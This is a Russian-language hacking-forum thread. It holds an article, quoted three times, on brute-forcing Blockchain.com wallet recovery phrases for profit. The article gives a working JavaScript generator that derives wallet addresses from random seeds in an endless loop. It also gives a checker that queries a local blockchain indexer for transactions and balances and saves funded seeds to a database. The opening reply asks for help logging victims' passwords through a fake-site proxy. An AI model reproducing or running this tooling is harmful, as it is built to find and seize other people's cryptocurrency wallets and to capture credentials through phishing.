• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фейковый Blockchain: от идеи до реализации!

Trying with latest version. Configured the proxy etc. But to log passwords I am getting CORS error

Код:
 Content Security Policy: The page's settings blocked the loading of a resource at https: //admin.blockchain.test: 444 / logos / (“connect-src”). [/ CODE]

This is latest version on blockchain.com from github. Any ideas how to fix?
 
Итак, дорогие друзья, мы продолжаем раз**бывать исследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)

Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)

Lets Go!

Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:

Цитата

1.png.1cfde1b9aabb06e3c32589694c2e3892.png

В браузере делается GET запрос вида

далее показывается форма для смены пароля:

2.png.af2e4a903e3b8f3d953815b9f74be993.png

А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?

Переходим по ссылке:
Выбираем настройку 12 слов и нажимаем Generate.

Получаем результат, например:
Цитата
south wife game layer only gun flower truth suggest police glass doctor fatal twice cushion

Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":

3.png.637064490822e91c506132b0e623ec05.png

Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.

Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT

Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:
Цитата
4.png.08569e4b65f51605e741dea6a5c67c73.png

Находим замечательную функцию в файле:


JavaScript:
// generateMnemonic :: Api -> Promise String
export const generateMnemonic = (api) => {
  return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng))
}

Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:


5.png.e148030ba03a106016f711a467bee9a0.png

Функция содержит основную логику в файле:

JavaScript:
// createRng :: Int -> Promise Rng Error
const createRng = (maxBytes = DEFAULT_BYTES, api) => {
return getServerEntropy(maxBytes, api).then(serverH => {
let localH = _overrides.randomBytes(maxBytes)
let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes))

// Rng :: Int -> Buffer
    return nBytes => {
      nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES

if (entropy.isLeft) {
        throw entropy.value
      }

if (entropy.value.length < nBytes) {
        throw new Error('rng ran out of server provided entropy')
      }

let generated = entropy.value.slice(0, nBytes)
      entropy = entropy.map(e => e.slice(nBytes))
      return generated
    }
})
}

Определение основного адреса c 12 слов ищем по запросу:
Цитата
6.png.07824347c9694d13eb3bbae1bdb26e5f.png

И находим в файле:
Цитата
7.png.521db13f40135cb20462c63dd06afa51.png

Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:

JavaScript:
import BIP39 from 'bip39';
import randomBytes from 'randombytes';
import Either from 'data.either';

const DEFAULT_BYTES = 32;
import Bitcoin from 'bitcoinjs-lib'
import {compose, curry} from 'ramda';
import * as crypto from 'crypto'

import {Queue} from 'bullmq';

const myQueue = new Queue('brute');

// Expose randomBytes for iOS to override
const _overrides = {
    randomBytes,
};

const generateMnemonic = () => {
    let rng = createRng(16);
    return BIP39.generateMnemonic(null, rng);
};

const xor = (a, b) => {
    if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) {
        console.log('Expected arguments to be buffers')
        return false;
    }

let length = Math.min(a.length, b.length);
    let buffer = Buffer.alloc(length);

for (let i = 0; i < length; ++i) {
        buffer[i] = a[i] ^ b[i];
    }

return buffer;
};


const createRng = (maxBytes = DEFAULT_BYTES) => {
    let serverH = getServerEntropy(maxBytes);
    let localH = _overrides.randomBytes(maxBytes);
    let entropy = mixEntropy(localH, serverH, maxBytes);

return (nBytes) => {
        let positive = Math.sign(nBytes);

if (positive !== 1) {
            nBytes = DEFAULT_BYTES;
        }

if (entropy.isLeft) {
            throw entropy.value;
        }
        //console.log(entropy.value.length);
        if (entropy.value.length < nBytes) {
            console.log('rng ran out of server provided entropy');
        }

//console.log('returning magic');
        let generated = entropy.value.slice(0, nBytes);
        entropy = entropy.map((e) => e.slice(nBytes));
        // console.log(generated.toString('hex').length);
        return generated;
    };

};

// getServerEntropy :: Int -> Promise (Either Buffer Error) Error
const getServerEntropy = (nBytes = DEFAULT_BYTES) => {
    return _overrides.randomBytes(nBytes);
};

const mixEntropy = (localH, serverH, nBytes) => {
    try {
        if (localH.length === 0) {
            console.log('Local entropy should not be empty.');
            return false;
        }

if (serverH.length === 0) {
            console.log('Server entropy should not be empty.');
            return false;
        }

if (Array.prototype.every.call(localH, (b) => b === localH[0])) {
            console.log('The browser entropy should not be the same byte repeated.');
            return false;
        }

if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) {
            console.log('The server entropy should not be the same byte repeated.');
            return false;
        }

if (serverH.length !== localH.length) {
            console.log('Both entropies should be same of the length.');
            return false;
        }

let combinedH = xor(localH, serverH);

if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) {
            console.log('The combined entropy should not be the same byte repeated.');
            return false;
        }

if (combinedH.length !== nBytes) {
            console.log('Combined entropy should be of requested length.');
        }

return Either.of(combinedH);
    } catch (e) {
        return false;
    }
};

const getMasterHDNode = curry((network, seedHex) => {
    const mnemonic = BIP39.entropyToMnemonic(seedHex)
    const masterhex = BIP39.mnemonicToSeed(mnemonic)
    return Bitcoin.HDNode.fromSeedBuffer(masterhex, network)
})

const deriveMetadataNode = masterHDNode => {
    // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number
    // we take the first 31 bits of the SHA256 hash of a reverse domain.
    let hash = sha256('info.blockchain.metadata')
    let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742
    return masterHDNode.deriveHardened(purpose)
}

const sha256 = data =>
    crypto
.createHash('sha256')
        .update(data)
        .digest()

const fromMetadataXpriv = curry((xpriv, typeId, network) =>
    fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId)
)

const fromMetadataHDNode = curry((metadataHDNode, typeId) => {
    let payloadTypeNode = metadataHDNode.deriveHardened(typeId)
    let node = payloadTypeNode.deriveHardened(0)
    return fromKeys(node.keyPair)
})

const fromKeys = (entryECKey) => {
    return entryECKey.getAddress()
}

do {
    const mmnemonic = generateMnemonic()
    console.log(mmnemonic)
    const seedHex = BIP39.mnemonicToEntropy(mmnemonic)

const getMetadataNode = compose(
        deriveMetadataNode,
        getMasterHDNode(Bitcoin.networks.btc)
    )
    const metadataNode = getMetadataNode(seedHex)

const mxpriv = metadataNode.toBase58()

const typeId = 12

const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin)

console.log(address)

await myQueue.add('address', {mmnemonic, address}, {
        removeOnComplete: true,
        removeOnFail: 500
    });

} while (true)

Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.

И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата

Идеально, теперь создаём чекер:
JavaScript:
import mongodb from 'mongodb';

const {MongoClient} = mongodb;
import {Worker} from 'bullmq'

// Адрес MongoDB
const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false";
const client = new MongoClient(uri, {useUnifiedTopology: true});
import got from 'got';

const worker = new Worker('brute', async job => {
    check(job.data)
});

function check(job) {
    // Делаем запросы
    got('http://127.0.0.1:3000/address/' + job.address).json()
        .then(function (data) {
            // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже.
            if (data.chain_stats.tx_count > 0) {
                console.log('Транзакций больше чем 0')
                job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0
                // Запись в базу данных
                insert(job)
            } else {
                console.log(data.chain_stats.tx_count)
            }
        })
}

// Функция для записи в базу данных
async function insert(data) {
    try {
        await client.connect();
        const database = client.db('seed');
        const seeds = database.collection("seeds");
        await seeds.insertOne(data);
    } finally {
        await client.close();
    }
}

Вышли на финишную прямую.
Проверяем работоспособность генерации:

8.png.d33002ba122832b9ee03a9c7037ee058.png

Проверяем работоспособность чекера:

9.png.d3b30a6904004294d77d98be48f4ad94.png

Смотрим на работу electrs:

10.png.d5cd227ee422f989d0d9ed2ebb077663.png

Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))

Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.

Берегите себя, всем удачных реализаций! ?
 
Итак, дорогие друзья, мы продолжаем раз**бывать исследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)

Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)

Lets Go!

Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:



1.png.1cfde1b9aabb06e3c32589694c2e3892.png

В браузере делается GET запрос вида


далее показывается форма для смены пароля:

2.png.af2e4a903e3b8f3d953815b9f74be993.png

А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?

Переходим по ссылке:

Выбираем настройку 12 слов и нажимаем Generate.

Получаем результат, например:


Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":

3.png.637064490822e91c506132b0e623ec05.png

Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.

Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT

Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:

4.png.08569e4b65f51605e741dea6a5c67c73.png

Находим замечательную функцию в файле:



JavaScript:
// generateMnemonic :: Api -> Promise String
export const generateMnemonic = (api) => {
  return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng))
}

Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:


5.png.e148030ba03a106016f711a467bee9a0.png

Функция содержит основную логику в файле:


JavaScript:
// createRng :: Int -> Promise Rng Error
const createRng = (maxBytes = DEFAULT_BYTES, api) => {
return getServerEntropy(maxBytes, api).then(serverH => {
let localH = _overrides.randomBytes(maxBytes)
let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes))

// Rng :: Int -> Buffer
    return nBytes => {
      nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES

if (entropy.isLeft) {
        throw entropy.value
      }

if (entropy.value.length < nBytes) {
        throw new Error('rng ran out of server provided entropy')
      }

let generated = entropy.value.slice(0, nBytes)
      entropy = entropy.map(e => e.slice(nBytes))
      return generated
    }
})
}

Определение основного адреса c 12 слов ищем по запросу:

6.png.07824347c9694d13eb3bbae1bdb26e5f.png

И находим в файле:

7.png.521db13f40135cb20462c63dd06afa51.png

Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:

JavaScript:
import BIP39 from 'bip39';
import randomBytes from 'randombytes';
import Either from 'data.either';

const DEFAULT_BYTES = 32;
import Bitcoin from 'bitcoinjs-lib'
import {compose, curry} from 'ramda';
import * as crypto from 'crypto'

import {Queue} from 'bullmq';

const myQueue = new Queue('brute');

// Expose randomBytes for iOS to override
const _overrides = {
    randomBytes,
};

const generateMnemonic = () => {
    let rng = createRng(16);
    return BIP39.generateMnemonic(null, rng);
};

const xor = (a, b) => {
    if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) {
        console.log('Expected arguments to be buffers')
        return false;
    }

let length = Math.min(a.length, b.length);
    let buffer = Buffer.alloc(length);

for (let i = 0; i < length; ++i) {
        buffer[i] = a[i] ^ b[i];
    }

return buffer;
};


const createRng = (maxBytes = DEFAULT_BYTES) => {
    let serverH = getServerEntropy(maxBytes);
    let localH = _overrides.randomBytes(maxBytes);
    let entropy = mixEntropy(localH, serverH, maxBytes);

return (nBytes) => {
        let positive = Math.sign(nBytes);

if (positive !== 1) {
            nBytes = DEFAULT_BYTES;
        }

if (entropy.isLeft) {
            throw entropy.value;
        }
        //console.log(entropy.value.length);
        if (entropy.value.length < nBytes) {
            console.log('rng ran out of server provided entropy');
        }

//console.log('returning magic');
        let generated = entropy.value.slice(0, nBytes);
        entropy = entropy.map((e) => e.slice(nBytes));
        // console.log(generated.toString('hex').length);
        return generated;
    };

};

// getServerEntropy :: Int -> Promise (Either Buffer Error) Error
const getServerEntropy = (nBytes = DEFAULT_BYTES) => {
    return _overrides.randomBytes(nBytes);
};

const mixEntropy = (localH, serverH, nBytes) => {
    try {
        if (localH.length === 0) {
            console.log('Local entropy should not be empty.');
            return false;
        }

if (serverH.length === 0) {
            console.log('Server entropy should not be empty.');
            return false;
        }

if (Array.prototype.every.call(localH, (b) => b === localH[0])) {
            console.log('The browser entropy should not be the same byte repeated.');
            return false;
        }

if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) {
            console.log('The server entropy should not be the same byte repeated.');
            return false;
        }

if (serverH.length !== localH.length) {
            console.log('Both entropies should be same of the length.');
            return false;
        }

let combinedH = xor(localH, serverH);

if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) {
            console.log('The combined entropy should not be the same byte repeated.');
            return false;
        }

if (combinedH.length !== nBytes) {
            console.log('Combined entropy should be of requested length.');
        }

return Either.of(combinedH);
    } catch (e) {
        return false;
    }
};

const getMasterHDNode = curry((network, seedHex) => {
    const mnemonic = BIP39.entropyToMnemonic(seedHex)
    const masterhex = BIP39.mnemonicToSeed(mnemonic)
    return Bitcoin.HDNode.fromSeedBuffer(masterhex, network)
})

const deriveMetadataNode = masterHDNode => {
    // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number
    // we take the first 31 bits of the SHA256 hash of a reverse domain.
    let hash = sha256('info.blockchain.metadata')
    let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742
    return masterHDNode.deriveHardened(purpose)
}

const sha256 = data =>
    crypto
.createHash('sha256')
        .update(data)
        .digest()

const fromMetadataXpriv = curry((xpriv, typeId, network) =>
    fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId)
)

const fromMetadataHDNode = curry((metadataHDNode, typeId) => {
    let payloadTypeNode = metadataHDNode.deriveHardened(typeId)
    let node = payloadTypeNode.deriveHardened(0)
    return fromKeys(node.keyPair)
})

const fromKeys = (entryECKey) => {
    return entryECKey.getAddress()
}

do {
    const mmnemonic = generateMnemonic()
    console.log(mmnemonic)
    const seedHex = BIP39.mnemonicToEntropy(mmnemonic)

const getMetadataNode = compose(
        deriveMetadataNode,
        getMasterHDNode(Bitcoin.networks.btc)
    )
    const metadataNode = getMetadataNode(seedHex)

const mxpriv = metadataNode.toBase58()

const typeId = 12

const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin)

console.log(address)

await myQueue.add('address', {mmnemonic, address}, {
        removeOnComplete: true,
        removeOnFail: 500
    });

} while (true)

Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.

И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата


Идеально, теперь создаём чекер:
JavaScript:
import mongodb from 'mongodb';

const {MongoClient} = mongodb;
import {Worker} from 'bullmq'

// Адрес MongoDB
const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false";
const client = new MongoClient(uri, {useUnifiedTopology: true});
import got from 'got';

const worker = new Worker('brute', async job => {
    check(job.data)
});

function check(job) {
    // Делаем запросы
    got('http://127.0.0.1:3000/address/' + job.address).json()
        .then(function (data) {
            // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже.
            if (data.chain_stats.tx_count > 0) {
                console.log('Транзакций больше чем 0')
                job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0
                // Запись в базу данных
                insert(job)
            } else {
                console.log(data.chain_stats.tx_count)
            }
        })
}

// Функция для записи в базу данных
async function insert(data) {
    try {
        await client.connect();
        const database = client.db('seed');
        const seeds = database.collection("seeds");
        await seeds.insertOne(data);
    } finally {
        await client.close();
    }
}

Вышли на финишную прямую.
Проверяем работоспособность генерации:

8.png.d33002ba122832b9ee03a9c7037ee058.png

Проверяем работоспособность чекера:

9.png.d3b30a6904004294d77d98be48f4ad94.png

Смотрим на работу electrs:

10.png.d5cd227ee422f989d0d9ed2ebb077663.png

Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))

Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.

Берегите себя, всем удачных реализаций! ?
сомневаюсь что ты что-то словишь таким методом брута, на соседнем борде был человек продавал подобное, софт генерил сиды и чекал балики, на си написал вроде был, скорость была космической но никто ничего так и не вытянул от туда, бул один чел который про 70 бачей говорил, но и тот не факт что был не подставной
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Итак, дорогие друзья, мы продолжаем раз**бывать исследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)

Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)

Lets Go!

Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:



1.png.1cfde1b9aabb06e3c32589694c2e3892.png

В браузере делается GET запрос вида


далее показывается форма для смены пароля:

2.png.af2e4a903e3b8f3d953815b9f74be993.png

А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?

Переходим по ссылке:

Выбираем настройку 12 слов и нажимаем Generate.

Получаем результат, например:


Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":

3.png.637064490822e91c506132b0e623ec05.png

Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.

Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT

Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:

4.png.08569e4b65f51605e741dea6a5c67c73.png

Находим замечательную функцию в файле:



JavaScript:
// generateMnemonic :: Api -> Promise String
export const generateMnemonic = (api) => {
  return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng))
}

Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:


5.png.e148030ba03a106016f711a467bee9a0.png

Функция содержит основную логику в файле:


JavaScript:
// createRng :: Int -> Promise Rng Error
const createRng = (maxBytes = DEFAULT_BYTES, api) => {
return getServerEntropy(maxBytes, api).then(serverH => {
let localH = _overrides.randomBytes(maxBytes)
let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes))

// Rng :: Int -> Buffer
    return nBytes => {
      nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES

if (entropy.isLeft) {
        throw entropy.value
      }

if (entropy.value.length < nBytes) {
        throw new Error('rng ran out of server provided entropy')
      }

let generated = entropy.value.slice(0, nBytes)
      entropy = entropy.map(e => e.slice(nBytes))
      return generated
    }
})
}

Определение основного адреса c 12 слов ищем по запросу:

6.png.07824347c9694d13eb3bbae1bdb26e5f.png

И находим в файле:

7.png.521db13f40135cb20462c63dd06afa51.png

Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:

JavaScript:
import BIP39 from 'bip39';
import randomBytes from 'randombytes';
import Either from 'data.either';

const DEFAULT_BYTES = 32;
import Bitcoin from 'bitcoinjs-lib'
import {compose, curry} from 'ramda';
import * as crypto from 'crypto'

import {Queue} from 'bullmq';

const myQueue = new Queue('brute');

// Expose randomBytes for iOS to override
const _overrides = {
    randomBytes,
};

const generateMnemonic = () => {
    let rng = createRng(16);
    return BIP39.generateMnemonic(null, rng);
};

const xor = (a, b) => {
    if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) {
        console.log('Expected arguments to be buffers')
        return false;
    }

let length = Math.min(a.length, b.length);
    let buffer = Buffer.alloc(length);

for (let i = 0; i < length; ++i) {
        buffer[i] = a[i] ^ b[i];
    }

return buffer;
};


const createRng = (maxBytes = DEFAULT_BYTES) => {
    let serverH = getServerEntropy(maxBytes);
    let localH = _overrides.randomBytes(maxBytes);
    let entropy = mixEntropy(localH, serverH, maxBytes);

return (nBytes) => {
        let positive = Math.sign(nBytes);

if (positive !== 1) {
            nBytes = DEFAULT_BYTES;
        }

if (entropy.isLeft) {
            throw entropy.value;
        }
        //console.log(entropy.value.length);
        if (entropy.value.length < nBytes) {
            console.log('rng ran out of server provided entropy');
        }

//console.log('returning magic');
        let generated = entropy.value.slice(0, nBytes);
        entropy = entropy.map((e) => e.slice(nBytes));
        // console.log(generated.toString('hex').length);
        return generated;
    };

};

// getServerEntropy :: Int -> Promise (Either Buffer Error) Error
const getServerEntropy = (nBytes = DEFAULT_BYTES) => {
    return _overrides.randomBytes(nBytes);
};

const mixEntropy = (localH, serverH, nBytes) => {
    try {
        if (localH.length === 0) {
            console.log('Local entropy should not be empty.');
            return false;
        }

if (serverH.length === 0) {
            console.log('Server entropy should not be empty.');
            return false;
        }

if (Array.prototype.every.call(localH, (b) => b === localH[0])) {
            console.log('The browser entropy should not be the same byte repeated.');
            return false;
        }

if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) {
            console.log('The server entropy should not be the same byte repeated.');
            return false;
        }

if (serverH.length !== localH.length) {
            console.log('Both entropies should be same of the length.');
            return false;
        }

let combinedH = xor(localH, serverH);

if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) {
            console.log('The combined entropy should not be the same byte repeated.');
            return false;
        }

if (combinedH.length !== nBytes) {
            console.log('Combined entropy should be of requested length.');
        }

return Either.of(combinedH);
    } catch (e) {
        return false;
    }
};

const getMasterHDNode = curry((network, seedHex) => {
    const mnemonic = BIP39.entropyToMnemonic(seedHex)
    const masterhex = BIP39.mnemonicToSeed(mnemonic)
    return Bitcoin.HDNode.fromSeedBuffer(masterhex, network)
})

const deriveMetadataNode = masterHDNode => {
    // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number
    // we take the first 31 bits of the SHA256 hash of a reverse domain.
    let hash = sha256('info.blockchain.metadata')
    let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742
    return masterHDNode.deriveHardened(purpose)
}

const sha256 = data =>
    crypto
.createHash('sha256')
        .update(data)
        .digest()

const fromMetadataXpriv = curry((xpriv, typeId, network) =>
    fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId)
)

const fromMetadataHDNode = curry((metadataHDNode, typeId) => {
    let payloadTypeNode = metadataHDNode.deriveHardened(typeId)
    let node = payloadTypeNode.deriveHardened(0)
    return fromKeys(node.keyPair)
})

const fromKeys = (entryECKey) => {
    return entryECKey.getAddress()
}

do {
    const mmnemonic = generateMnemonic()
    console.log(mmnemonic)
    const seedHex = BIP39.mnemonicToEntropy(mmnemonic)

const getMetadataNode = compose(
        deriveMetadataNode,
        getMasterHDNode(Bitcoin.networks.btc)
    )
    const metadataNode = getMetadataNode(seedHex)

const mxpriv = metadataNode.toBase58()

const typeId = 12

const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin)

console.log(address)

await myQueue.add('address', {mmnemonic, address}, {
        removeOnComplete: true,
        removeOnFail: 500
    });

} while (true)

Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.

И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата


Идеально, теперь создаём чекер:
JavaScript:
import mongodb from 'mongodb';

const {MongoClient} = mongodb;
import {Worker} from 'bullmq'

// Адрес MongoDB
const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false";
const client = new MongoClient(uri, {useUnifiedTopology: true});
import got from 'got';

const worker = new Worker('brute', async job => {
    check(job.data)
});

function check(job) {
    // Делаем запросы
    got('http://127.0.0.1:3000/address/' + job.address).json()
        .then(function (data) {
            // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже.
            if (data.chain_stats.tx_count > 0) {
                console.log('Транзакций больше чем 0')
                job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0
                // Запись в базу данных
                insert(job)
            } else {
                console.log(data.chain_stats.tx_count)
            }
        })
}

// Функция для записи в базу данных
async function insert(data) {
    try {
        await client.connect();
        const database = client.db('seed');
        const seeds = database.collection("seeds");
        await seeds.insertOne(data);
    } finally {
        await client.close();
    }
}

Вышли на финишную прямую.
Проверяем работоспособность генерации:

8.png.d33002ba122832b9ee03a9c7037ee058.png

Проверяем работоспособность чекера:

9.png.d3b30a6904004294d77d98be48f4ad94.png

Смотрим на работу electrs:

10.png.d5cd227ee422f989d0d9ed2ebb077663.png

Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))

Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.

Берегите себя, всем удачных реализаций! ?
